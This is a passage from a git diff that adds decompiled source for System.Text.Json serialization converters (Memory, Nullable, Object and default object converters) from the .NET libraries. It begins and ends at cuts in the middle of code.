(parentProperty == null || !parentProperty.TryGetPrePopulatedValue(ref state)) + { + if (state.Current.JsonTypeInfo.CreateObject == null) + { + ThrowHelper.ThrowNotSupportedException_SerializationNotSupported(state.Current.JsonTypeInfo.Type); + } + state.Current.ReturnValue = state.Current.JsonTypeInfo.CreateObject(); + } + } + + protected override bool OnWriteResume(Utf8JsonWriter writer, TCollection value, JsonSerializerOptions options, ref WriteStack state) + { + int i = state.Current.EnumeratorIndex; + JsonConverter elementConverter = JsonCollectionConverter.GetElementConverter(ref state); + if (elementConverter.CanUseDirectReadOrWrite && !state.Current.NumberHandling.HasValue) + { + for (; i < value.Count; i++) + { + elementConverter.Write(writer, value[i], options); + } + } + else + { + for (; i < value.Count; i++) + { + if (!elementConverter.TryWrite(writer, value[i], options, ref state)) + { + state.Current.EnumeratorIndex = i; + return false; + } + state.Current.EndCollectionElement(); + if (JsonConverter.ShouldFlush(writer, ref state)) + { + i = (state.Current.EnumeratorIndex = i + 1); + return false; + } + } + } + return true; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/MemoryByteConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/MemoryByteConverter.cs new file mode 100644 index 0000000..e017662 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/MemoryByteConverter.cs @@ -0,0 +1,16 @@ +namespace System.Text.Json.Serialization.Converters; + +internal sealed class MemoryByteConverter : JsonConverter> +{ + public override bool HandleNull => true; + + public override Memory Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + return (reader.TokenType == JsonTokenType.Null) ? null : reader.GetBytesFromBase64(); + } + + public override void Write(Utf8JsonWriter writer, Memory value, JsonSerializerOptions options) + { + writer.WriteBase64StringValue(value.Span); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/MemoryConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/MemoryConverter.cs new file mode 100644 index 0000000..6279334 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/MemoryConverter.cs @@ -0,0 +1,41 @@ +using System.Collections.Generic; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class MemoryConverter : JsonCollectionConverter, T> +{ + internal override bool CanHaveMetadata => false; + + public override bool HandleNull => true; + + internal override bool OnTryRead(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options, scoped ref ReadStack state, out Memory value) + { + if (reader.TokenType == JsonTokenType.Null) + { + value = default(Memory); + return true; + } + return base.OnTryRead(ref reader, typeToConvert, options, ref state, out value); + } + + protected override void Add(in T value, ref ReadStack state) + { + ((List)state.Current.ReturnValue).Add(value); + } + + protected override void CreateCollection(ref Utf8JsonReader reader, scoped ref ReadStack state, JsonSerializerOptions options) + { + state.Current.ReturnValue = new List(); + } + + protected override void ConvertCollection(ref ReadStack state, JsonSerializerOptions options) + { + Memory memory = ((List)state.Current.ReturnValue).ToArray().AsMemory(); + state.Current.ReturnValue = memory; + } + + protected override bool OnWriteResume(Utf8JsonWriter writer, Memory value, JsonSerializerOptions options, ref WriteStack state) + { + return ReadOnlyMemoryConverter.OnWriteResume(writer, value.Span, options, ref state); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/MemoryConverterFactory.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/MemoryConverterFactory.cs new file mode 100644 index 0000000..67dd766 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/MemoryConverterFactory.cs @@ -0,0 +1,28 @@ +using System.Diagnostics.CodeAnalysis; + +namespace System.Text.Json.Serialization.Converters; + +[RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] +internal sealed class MemoryConverterFactory : JsonConverterFactory +{ + public override bool CanConvert(Type typeToConvert) + { + if (!typeToConvert.IsGenericType || !typeToConvert.IsValueType) + { + return false; + } + Type genericTypeDefinition = typeToConvert.GetGenericTypeDefinition(); + if (!(genericTypeDefinition == typeof(Memory<>))) + { + return genericTypeDefinition == typeof(ReadOnlyMemory<>); + } + return true; + } + + public override JsonConverter CreateConverter(Type typeToConvert, JsonSerializerOptions options) + { + Type type = ((typeToConvert.GetGenericTypeDefinition() == typeof(Memory<>)) ? typeof(MemoryConverter<>) : typeof(ReadOnlyMemoryConverter<>)); + Type type2 = typeToConvert.GetGenericArguments()[0]; + return (JsonConverter)Activator.CreateInstance(type.MakeGenericType(type2)); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/NullableConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/NullableConverter.cs new file mode 100644 index 0000000..0fcc75c --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/NullableConverter.cs @@ -0,0 +1,97 @@ +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization.Converters; + +internal sealed class NullableConverter : JsonConverter where T : struct +{ + private readonly JsonConverter _elementConverter; + + internal override Type ElementType => typeof(T); + + public override bool HandleNull => true; + + internal override bool CanPopulate => _elementConverter.CanPopulate; + + internal override bool ConstructorIsParameterized => _elementConverter.ConstructorIsParameterized; + + public NullableConverter(JsonConverter elementConverter) + { + _elementConverter = elementConverter; + base.IsInternalConverterForNumberType = elementConverter.IsInternalConverterForNumberType; + base.ConverterStrategy = elementConverter.ConverterStrategy; + base.ConstructorInfo = elementConverter.ConstructorInfo; + } + + internal override bool OnTryRead(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options, scoped ref ReadStack state, out T? value) + { + if (!state.IsContinuation && reader.TokenType == JsonTokenType.Null) + { + value = null; + return true; + } + JsonTypeInfo jsonTypeInfo = state.Current.JsonTypeInfo; + state.Current.JsonTypeInfo = state.Current.JsonTypeInfo.ElementTypeInfo; + if (_elementConverter.OnTryRead(ref reader, typeof(T), options, ref state, out var value2)) + { + value = value2; + state.Current.JsonTypeInfo = jsonTypeInfo; + return true; + } + state.Current.JsonTypeInfo = jsonTypeInfo; + value = null; + return false; + } + + internal override bool OnTryWrite(Utf8JsonWriter writer, T? value, JsonSerializerOptions options, ref WriteStack state) + { + if (!value.HasValue) + { + writer.WriteNullValue(); + return true; + } + state.Current.JsonPropertyInfo = state.Current.JsonTypeInfo.ElementTypeInfo.PropertyInfoForTypeInfo; + return _elementConverter.TryWrite(writer, value.Value, options, ref state); + } + + public override T? Read(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + if (reader.TokenType == JsonTokenType.Null) + { + return null; + } + return _elementConverter.Read(ref reader, typeof(T), options); + } + + public override void Write(Utf8JsonWriter writer, T? value, JsonSerializerOptions options) + { + if (!value.HasValue) + { + writer.WriteNullValue(); + } + else + { + _elementConverter.Write(writer, value.Value, options); + } + } + + internal override T? ReadNumberWithCustomHandling(ref Utf8JsonReader reader, JsonNumberHandling numberHandling, JsonSerializerOptions options) + { + if (reader.TokenType == JsonTokenType.Null) + { + return null; + } + return _elementConverter.ReadNumberWithCustomHandling(ref reader, numberHandling, options); + } + + internal override void WriteNumberWithCustomHandling(Utf8JsonWriter writer, T? value, JsonNumberHandling handling) + { + if (!value.HasValue) + { + writer.WriteNullValue(); + } + else + { + _elementConverter.WriteNumberWithCustomHandling(writer, value.Value, handling); + } + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/NullableConverterFactory.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/NullableConverterFactory.cs new file mode 100644 index 0000000..20c3df7 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/NullableConverterFactory.cs @@ -0,0 +1,37 @@ +using System.Diagnostics.CodeAnalysis; +using System.Reflection; +using System.Text.Json.Reflection; + +namespace System.Text.Json.Serialization.Converters; + +[RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] +internal sealed class NullableConverterFactory : JsonConverterFactory +{ + public override bool CanConvert(Type typeToConvert) + { + return typeToConvert.IsNullableOfT(); + } + + public override JsonConverter CreateConverter(Type typeToConvert, JsonSerializerOptions options) + { + Type type = typeToConvert.GetGenericArguments()[0]; + JsonConverter converterInternal = options.GetConverterInternal(type); + if (!converterInternal.Type.IsValueType && type.IsValueType) + { + return converterInternal; + } + return CreateValueConverter(type, converterInternal); + } + + public static JsonConverter CreateValueConverter(Type valueTypeToConvert, JsonConverter valueConverter) + { + return (JsonConverter)Activator.CreateInstance(GetNullableConverterType(valueTypeToConvert), BindingFlags.Instance | BindingFlags.Public, null, new object[1] { valueConverter }, null); + } + + [UnconditionalSuppressMessage("ReflectionAnalysis", "IL2070:UnrecognizedReflectionPattern", Justification = "'NullableConverter where T : struct' implies 'T : new()', so the trimmer is warning calling MakeGenericType here because valueTypeToConvert's constructors are not annotated. But NullableConverter doesn't call new T(), so this is safe.")] + [return: DynamicallyAccessedMembers(DynamicallyAccessedMemberTypes.PublicConstructors)] + private static Type GetNullableConverterType(Type valueTypeToConvert) + { + return typeof(NullableConverter<>).MakeGenericType(valueTypeToConvert); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ObjectConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ObjectConverter.cs new file mode 100644 index 0000000..a794c27 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ObjectConverter.cs @@ -0,0 +1,57 @@ +namespace System.Text.Json.Serialization.Converters; + +internal abstract class ObjectConverter : JsonConverter +{ + private protected override ConverterStrategy GetDefaultConverterStrategy() + { + return ConverterStrategy.Object; + } + + public ObjectConverter() + { + base.CanBePolymorphic = true; + } + + public sealed override object ReadAsPropertyName(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + ThrowHelper.ThrowNotSupportedException_DictionaryKeyTypeNotSupported(Type, this); + return null; + } + + internal sealed override object ReadAsPropertyNameCore(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options) + { + ThrowHelper.ThrowNotSupportedException_DictionaryKeyTypeNotSupported(Type, this); + return null; + } + + public sealed override void Write(Utf8JsonWriter writer, object value, JsonSerializerOptions options) + { + if (value == null) + { + writer.WriteNullValue(); + return; + } + writer.WriteStartObject(); + writer.WriteEndObject(); + } + + public sealed override void WriteAsPropertyName(Utf8JsonWriter writer, object value, JsonSerializerOptions options) + { + WriteAsPropertyNameCore(writer, value, options, isWritingExtensionDataProperty: false); + } + + internal sealed override void WriteAsPropertyNameCore(Utf8JsonWriter writer, object value, JsonSerializerOptions options, bool isWritingExtensionDataProperty) + { + if (value == null) + { + ThrowHelper.ThrowArgumentNullException("value"); + } + Type type = value.GetType(); + if (type == Type) + { + ThrowHelper.ThrowNotSupportedException_DictionaryKeyTypeNotSupported(type, this); + } + JsonConverter converterInternal = options.GetConverterInternal(type); + converterInternal.WriteAsPropertyNameCoreAsObject(writer, value, options, isWritingExtensionDataProperty); + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ObjectConverterFactory.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ObjectConverterFactory.cs new file mode 100644 index 0000000..ded2d2f --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ObjectConverterFactory.cs @@ -0,0 +1,68 @@ +using System.Diagnostics.CodeAnalysis; +using System.Reflection; +using System.Text.Json.Reflection; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization.Converters; + +[RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] +internal sealed class ObjectConverterFactory : JsonConverterFactory +{ + private readonly bool _useDefaultConstructorInUnannotatedStructs; + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + public ObjectConverterFactory(bool useDefaultConstructorInUnannotatedStructs = true) + { + _useDefaultConstructorInUnannotatedStructs = useDefaultConstructorInUnannotatedStructs; + } + + public override bool CanConvert(Type typeToConvert) + { + return true; + } + + [UnconditionalSuppressMessage("ReflectionAnalysis", "IL2026:RequiresUnreferencedCode", Justification = "The ctor is marked RequiresUnreferencedCode.")] + [UnconditionalSuppressMessage("ReflectionAnalysis", "IL2067:UnrecognizedReflectionPattern", Justification = "The ctor is marked RequiresUnreferencedCode.")] + public override JsonConverter CreateConverter(Type typeToConvert, JsonSerializerOptions options) + { + bool useDefaultCtorInAnnotatedStructs = _useDefaultConstructorInUnannotatedStructs && !typeToConvert.IsKeyValuePair(); + if (!typeToConvert.TryGetDeserializationConstructor(useDefaultCtorInAnnotatedStructs, out var deserializationCtor)) + { + ThrowHelper.ThrowInvalidOperationException_SerializationDuplicateTypeAttribute(typeToConvert); + } + ParameterInfo[] array = deserializationCtor?.GetParameters(); + Type type; + if (deserializationCtor == null || typeToConvert.IsAbstract || array.Length == 0) + { + type = typeof(ObjectDefaultConverter<>).MakeGenericType(typeToConvert); + } + else + { + int num = array.Length; + if (num <= 4) + { + Type objectType = JsonTypeInfo.ObjectType; + Type[] array2 = new Type[5] { typeToConvert, null, null, null, null }; + for (int i = 0; i < 4; i++) + { + if (i < num) + { + array2[i + 1] = array[i].ParameterType; + } + else + { + array2[i + 1] = objectType; + } + } + type = typeof(SmallObjectWithParameterizedConstructorConverter<, , , , >).MakeGenericType(array2); + } + else + { + type = typeof(LargeObjectWithParameterizedConstructorConverterWithReflection<>).MakeGenericType(typeToConvert); + } + } + JsonConverter jsonConverter = (JsonConverter)Activator.CreateInstance(type, BindingFlags.Instance | BindingFlags.Public, null, null, null); + jsonConverter.ConstructorInfo = deserializationCtor; + return jsonConverter; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ObjectDefaultConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ObjectDefaultConverter.cs new file mode 100644 index 0000000..d58727e --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ObjectDefaultConverter.cs @@ -0,0 +1,363 @@ +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; +using System.Runtime.CompilerServices; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization.Converters; + +internal class ObjectDefaultConverter : JsonObjectConverter +{ + internal override bool CanHaveMetadata => true; + + internal override bool SupportsCreateObjectDelegate => true; + + internal override bool OnTryRead(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options, scoped ref ReadStack state, [MaybeNullWhen(false)] out T value) + { + JsonTypeInfo jsonTypeInfo = state.Current.JsonTypeInfo; + object obj; + if (!state.SupportContinuation && !state.Current.CanContainMetadata) + { + if (reader.TokenType != JsonTokenType.StartObject) + { + ThrowHelper.ThrowJsonException_DeserializeUnableToConvertValue(Type); + } + JsonPropertyInfo parentProperty = state.ParentProperty; + if (parentProperty != null && parentProperty.TryGetPrePopulatedValue(ref state)) + { + obj = state.Current.ReturnValue; + } + else + { + if (jsonTypeInfo.CreateObject == null) + { + ThrowHelper.ThrowNotSupportedException_DeserializeNoConstructor(jsonTypeInfo.Type, ref reader, ref state); + } + obj = jsonTypeInfo.CreateObject(); + } + PopulatePropertiesFastPath(obj, jsonTypeInfo, options, ref reader, ref state); + value = (T)obj; + return true; + } + if (state.Current.ObjectState == StackFrameObjectState.None) + { + if (reader.TokenType != JsonTokenType.StartObject) + { + ThrowHelper.ThrowJsonException_DeserializeUnableToConvertValue(Type); + } + state.Current.ObjectState = StackFrameObjectState.StartToken; + } + if (state.Current.CanContainMetadata && (int)state.Current.ObjectState < 2) + { + if (!JsonSerializer.TryReadMetadata(this, jsonTypeInfo, ref reader, ref state)) + { + value = default(T); + return false; + } + if (state.Current.MetadataPropertyNames == MetadataPropertyName.Ref) + { + value = JsonSerializer.ResolveReferenceId(ref state); + return true; + } + state.Current.ObjectState = StackFrameObjectState.ReadMetadata; + } + if ((state.Current.MetadataPropertyNames & MetadataPropertyName.Type) != MetadataPropertyName.None && state.Current.PolymorphicSerializationState != PolymorphicSerializationState.PolymorphicReEntryStarted) + { + JsonConverter jsonConverter = ResolvePolymorphicConverter(jsonTypeInfo, ref state); + if (jsonConverter != null) + { + object value2; + bool flag = jsonConverter.OnTryReadAsObject(ref reader, jsonConverter.Type, options, ref state, out value2); + value = (T)value2; + state.ExitPolymorphicConverter(flag); + return flag; + } + } + if ((int)state.Current.ObjectState < 4) + { + if (state.Current.CanContainMetadata) + { + JsonSerializer.ValidateMetadataForObjectConverter(ref state); + } + if (state.Current.MetadataPropertyNames == MetadataPropertyName.Ref) + { + value = JsonSerializer.ResolveReferenceId(ref state); + return true; + } + JsonPropertyInfo parentProperty2 = state.ParentProperty; + if (parentProperty2 != null && parentProperty2.TryGetPrePopulatedValue(ref state)) + { + obj = state.Current.ReturnValue; + } + else + { + if (jsonTypeInfo.CreateObject == null) + { + ThrowHelper.ThrowNotSupportedException_DeserializeNoConstructor(jsonTypeInfo.Type, ref reader, ref state); + } + obj = jsonTypeInfo.CreateObject(); + } + if ((state.Current.MetadataPropertyNames & MetadataPropertyName.Id) != MetadataPropertyName.None) + { + state.ReferenceResolver.AddReference(state.ReferenceId, obj); + state.ReferenceId = null; + } + jsonTypeInfo.OnDeserializing?.Invoke(obj); + state.Current.ReturnValue = obj; + state.Current.ObjectState = StackFrameObjectState.CreatedObject; + state.Current.InitializeRequiredPropertiesValidationState(jsonTypeInfo); + } + else + { + obj = state.Current.ReturnValue; + } + while (true) + { + if (state.Current.PropertyState == StackFramePropertyState.None) + { + state.Current.PropertyState = StackFramePropertyState.ReadName; + if (!reader.Read()) + { + state.Current.ReturnValue = obj; + value = default(T); + return false; + } + } + JsonPropertyInfo jsonPropertyInfo; + if ((int)state.Current.PropertyState < 2) + { + state.Current.PropertyState = StackFramePropertyState.Name; + JsonTokenType tokenType = reader.TokenType; + if (tokenType == JsonTokenType.EndObject) + { + break; + } + ReadOnlySpan propertyName = JsonSerializer.GetPropertyName(ref state, ref reader); + jsonPropertyInfo = JsonSerializer.LookupProperty(obj, propertyName, ref state, options, out var useExtensionProperty); + state.Current.UseExtensionProperty = useExtensionProperty; + } + else + { + jsonPropertyInfo = state.Current.JsonPropertyInfo; + } + if ((int)state.Current.PropertyState < 3) + { + if (!jsonPropertyInfo.CanDeserializeOrPopulate) + { + if (!reader.TrySkip()) + { + state.Current.ReturnValue = obj; + value = default(T); + return false; + } + state.Current.EndProperty(); + continue; + } + if (!ReadAheadPropertyValue(ref state, ref reader, jsonPropertyInfo)) + { + state.Current.ReturnValue = obj; + value = default(T); + return false; + } + } + if ((int)state.Current.PropertyState >= 5) + { + continue; + } + if (!state.Current.UseExtensionProperty) + { + if (!jsonPropertyInfo.ReadJsonAndSetMember(obj, ref state, ref reader)) + { + state.Current.ReturnValue = obj; + value = default(T); + return false; + } + } + else if (!jsonPropertyInfo.ReadJsonAndAddExtensionProperty(obj, ref state, ref reader)) + { + state.Current.ReturnValue = obj; + value = default(T); + return false; + } + state.Current.EndProperty(); + } + jsonTypeInfo.OnDeserialized?.Invoke(obj); + state.Current.ValidateAllRequiredPropertiesAreRead(jsonTypeInfo); + value = (T)obj; + if (state.Current.PropertyRefCache != null) + { + jsonTypeInfo.UpdateSortedPropertyCache(ref state.Current); + } + state.Current.LargeJsonObjectExtensionDataSerializationState?.Complete(); + return true; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static void PopulatePropertiesFastPath(object obj, JsonTypeInfo jsonTypeInfo, JsonSerializerOptions options, ref Utf8JsonReader reader, scoped ref ReadStack state) + { + jsonTypeInfo.OnDeserializing?.Invoke(obj); + state.Current.InitializeRequiredPropertiesValidationState(jsonTypeInfo); + while (true) + { + reader.ReadWithVerify(); + JsonTokenType tokenType = reader.TokenType; + if (tokenType == JsonTokenType.EndObject) + { + break; + } + ReadOnlySpan propertyName = JsonSerializer.GetPropertyName(ref state, ref reader); + bool useExtensionProperty; + JsonPropertyInfo jsonPropertyInfo = JsonSerializer.LookupProperty(obj, propertyName, ref state, options, out useExtensionProperty); + ReadPropertyValue(obj, ref state, ref reader, jsonPropertyInfo, useExtensionProperty); + } + jsonTypeInfo.OnDeserialized?.Invoke(obj); + state.Current.ValidateAllRequiredPropertiesAreRead(jsonTypeInfo); + if (state.Current.PropertyRefCache != null) + { + jsonTypeInfo.UpdateSortedPropertyCache(ref state.Current); + } + state.Current.LargeJsonObjectExtensionDataSerializationState?.Complete(); + } + + internal sealed override bool OnTryWrite(Utf8JsonWriter writer, T value, JsonSerializerOptions options, ref WriteStack state) + { + JsonTypeInfo jsonTypeInfo = state.Current.JsonTypeInfo; + jsonTypeInfo.ValidateCanBeUsedForPropertyMetadataSerialization(); + object obj = value; + if (!state.SupportContinuation) + { + writer.WriteStartObject(); + if (state.CurrentContainsMetadata && CanHaveMetadata) + { + JsonSerializer.WriteMetadataForObject(this, ref state, writer); + } + jsonTypeInfo.OnSerializing?.Invoke(obj); + List> list = jsonTypeInfo.PropertyCache.List; + for (int i = 0; i < list.Count; i++) + { + JsonPropertyInfo value2 = list[i].Value; + if (value2.CanSerialize) + { + state.Current.JsonPropertyInfo = value2; + state.Current.NumberHandling = value2.EffectiveNumberHandling; + bool memberAndWriteJson = value2.GetMemberAndWriteJson(obj, ref state, writer); + state.Current.EndProperty(); + } + } + JsonPropertyInfo extensionDataProperty = jsonTypeInfo.ExtensionDataProperty; + if (extensionDataProperty != null && extensionDataProperty.CanSerialize) + { + state.Current.JsonPropertyInfo = extensionDataProperty; + state.Current.NumberHandling = extensionDataProperty.EffectiveNumberHandling; + bool memberAndWriteJsonExtensionData = extensionDataProperty.GetMemberAndWriteJsonExtensionData(obj, ref state, writer); + state.Current.EndProperty(); + } + writer.WriteEndObject(); + } + else + { + if (!state.Current.ProcessedStartToken) + { + writer.WriteStartObject(); + if (state.CurrentContainsMetadata && CanHaveMetadata) + { + JsonSerializer.WriteMetadataForObject(this, ref state, writer); + } + jsonTypeInfo.OnSerializing?.Invoke(obj); + state.Current.ProcessedStartToken = true; + } + List> list2 = jsonTypeInfo.PropertyCache.List; + while (state.Current.EnumeratorIndex < list2.Count) + { + JsonPropertyInfo value3 = list2[state.Current.EnumeratorIndex].Value; + if (value3.CanSerialize) + { + state.Current.JsonPropertyInfo = value3; + state.Current.NumberHandling = value3.EffectiveNumberHandling; + if (!value3.GetMemberAndWriteJson(obj, ref state, writer)) + { + return false; + } + state.Current.EndProperty(); + state.Current.EnumeratorIndex++; + if (JsonConverter.ShouldFlush(writer, ref state)) + { + return false; + } + } + else + { + state.Current.EnumeratorIndex++; + } + } + if (state.Current.EnumeratorIndex == list2.Count) + { + JsonPropertyInfo extensionDataProperty2 = jsonTypeInfo.ExtensionDataProperty; + if (extensionDataProperty2 != null && extensionDataProperty2.CanSerialize) + { + state.Current.JsonPropertyInfo = extensionDataProperty2; + state.Current.NumberHandling = extensionDataProperty2.EffectiveNumberHandling; + if (!extensionDataProperty2.GetMemberAndWriteJsonExtensionData(obj, ref state, writer)) + { + return false; + } + state.Current.EndProperty(); + state.Current.EnumeratorIndex++; + if (JsonConverter.ShouldFlush(writer, ref state)) + { + return false; + } + } + else + { + state.Current.EnumeratorIndex++; + } + } + if (!state.Current.ProcessedEndToken) + { + state.Current.ProcessedEndToken = true; + writer.WriteEndObject(); + } + } + jsonTypeInfo.OnSerialized?.Invoke(obj); + return true; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + protected static void ReadPropertyValue(object obj, scoped ref ReadStack state, ref Utf8JsonReader reader, JsonPropertyInfo jsonPropertyInfo, bool useExtensionProperty) + { + if (!jsonPropertyInfo.CanDeserializeOrPopulate) + { + bool flag = reader.TrySkip(); + } + else + { + reader.ReadWithVerify(); + if (!useExtensionProperty) + { + jsonPropertyInfo.ReadJsonAndSetMember(obj, ref state, ref reader); + } + else + { + jsonPropertyInfo.ReadJsonAndAddExtensionProperty(obj, ref state, ref reader); + } + } + state.Current.EndProperty(); + } + + protected static bool ReadAheadPropertyValue(scoped ref ReadStack state, ref Utf8JsonReader reader, JsonPropertyInfo jsonPropertyInfo) + { + state.Current.PropertyState = StackFramePropertyState.ReadValue; + if (!state.Current.UseExtensionProperty) + { + if (!JsonConverter.SingleValueReadWithReadAhead(jsonPropertyInfo.EffectiveConverter.RequiresReadAhead, ref reader, ref state)) + { + return false; + } + } + else if (!JsonConverter.SingleValueReadWithReadAhead(requiresReadAhead: true, ref reader, ref state)) + { + return false; + } + return true; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ObjectWithParameterizedConstructorConverter.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ObjectWithParameterizedConstructorConverter.cs new file mode 100644 index 0000000..f171b75 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Converters/ObjectWithParameterizedConstructorConverter.cs @@ -0,0 +1,397 @@ +using System.Buffers; +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; +using System.Runtime.CompilerServices; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Serialization.Converters; + +internal abstract class ObjectWithParameterizedConstructorConverter : ObjectDefaultConverter +{ + internal sealed override bool ConstructorIsParameterized => true; + + internal sealed override bool OnTryRead(ref Utf8JsonReader reader, Type typeToConvert, JsonSerializerOptions options, scoped ref ReadStack state, [MaybeNullWhen(false)] out T value) + { + JsonTypeInfo jsonTypeInfo = state.Current.JsonTypeInfo; + if (!jsonTypeInfo.UsesParameterizedConstructor || state.Current.IsPopulating) + { + return base.OnTryRead(ref reader, typeToConvert, options, ref state, out value); + } + ArgumentState ctorArgumentState = state.Current.CtorArgumentState; + object obj; + if (!state.SupportContinuation && !state.Current.CanContainMetadata) + { + if (reader.TokenType != JsonTokenType.StartObject) + { + ThrowHelper.ThrowJsonException_DeserializeUnableToConvertValue(Type); + } + JsonPropertyInfo parentProperty = state.ParentProperty; + if (parentProperty != null && parentProperty.TryGetPrePopulatedValue(ref state)) + { + object returnValue = state.Current.ReturnValue; + ObjectDefaultConverter.PopulatePropertiesFastPath(returnValue, jsonTypeInfo, options, ref reader, ref state); + value = (T)returnValue; + return true; + } + ReadOnlySpan originalSpan = reader.OriginalSpan; + ReadOnlySequence originalSequence = reader.OriginalSequence; + ReadConstructorArguments(ref state, ref reader, options); + obj = (T)CreateObject(ref state.Current); + jsonTypeInfo.OnDeserializing?.Invoke(obj); + if (ctorArgumentState.FoundPropertyCount > 0) + { + (JsonPropertyInfo, JsonReaderState, long, byte[], string)[] foundProperties = ctorArgumentState.FoundProperties; + for (int i = 0; i < ctorArgumentState.FoundPropertyCount; i++) + { + JsonPropertyInfo item = foundProperties[i].Item1; + long item2 = foundProperties[i].Item3; + byte[] item3 = foundProperties[i].Item4; + string item4 = foundProperties[i].Item5; + Utf8JsonReader reader2 = (originalSequence.IsEmpty ? new Utf8JsonReader(originalSpan.Slice(checked((int)item2)), isFinalBlock: true, foundProperties[i].Item2) : new Utf8JsonReader(originalSequence.Slice(item2), isFinalBlock: true, foundProperties[i].Item2)); + state.Current.JsonPropertyName = item3; + state.Current.JsonPropertyInfo = item; + state.Current.NumberHandling = item.EffectiveNumberHandling; + bool flag = item4 != null; + if (flag) + { + state.Current.JsonPropertyNameAsString = item4; + JsonSerializer.CreateExtensionDataProperty(obj, item, options); + } + ObjectDefaultConverter.ReadPropertyValue(obj, ref state, ref reader2, item, flag); + } + (JsonPropertyInfo, JsonReaderState, long, byte[], string)[] foundProperties2 = ctorArgumentState.FoundProperties; + ctorArgumentState.FoundProperties = null; + ArrayPool<(JsonPropertyInfo, JsonReaderState, long, byte[], string)>.Shared.Return(foundProperties2, clearArray: true); + } + } + else + { + if (state.Current.ObjectState == StackFrameObjectState.None) + { + if (reader.TokenType != JsonTokenType.StartObject) + { + ThrowHelper.ThrowJsonException_DeserializeUnableToConvertValue(Type); + } + state.Current.ObjectState = StackFrameObjectState.StartToken; + } + if (state.Current.CanContainMetadata && (int)state.Current.ObjectState < 2) + { + if (!JsonSerializer.TryReadMetadata(this, jsonTypeInfo, ref reader, ref state)) + { + value = default(T); + return false; + } + if (state.Current.MetadataPropertyNames == MetadataPropertyName.Ref) + { + value = JsonSerializer.ResolveReferenceId(ref state); + return true; + } + state.Current.ObjectState = StackFrameObjectState.ReadMetadata; + } + if ((state.Current.MetadataPropertyNames & MetadataPropertyName.Type) != MetadataPropertyName.None && state.Current.PolymorphicSerializationState != PolymorphicSerializationState.PolymorphicReEntryStarted) + { + JsonConverter jsonConverter = ResolvePolymorphicConverter(jsonTypeInfo, ref state); + if (jsonConverter != null) + { + object value2; + bool flag2 = jsonConverter.OnTryReadAsObject(ref reader, jsonConverter.Type, options, ref state, out value2); + value = (T)value2; + state.ExitPolymorphicConverter(flag2); + return flag2; + } + } + JsonPropertyInfo parentProperty2 = state.ParentProperty; + if (parentProperty2 != null && parentProperty2.TryGetPrePopulatedValue(ref state)) + { + object returnValue2 = state.Current.ReturnValue; + jsonTypeInfo.OnDeserializing?.Invoke(returnValue2); + state.Current.ObjectState = StackFrameObjectState.CreatedObject; + state.Current.InitializeRequiredPropertiesValidationState(jsonTypeInfo); + return base.OnTryRead(ref reader, typeToConvert, options, ref state, out value); + } + if ((int)state.Current.ObjectState < 3) + { + if (state.Current.CanContainMetadata) + { + 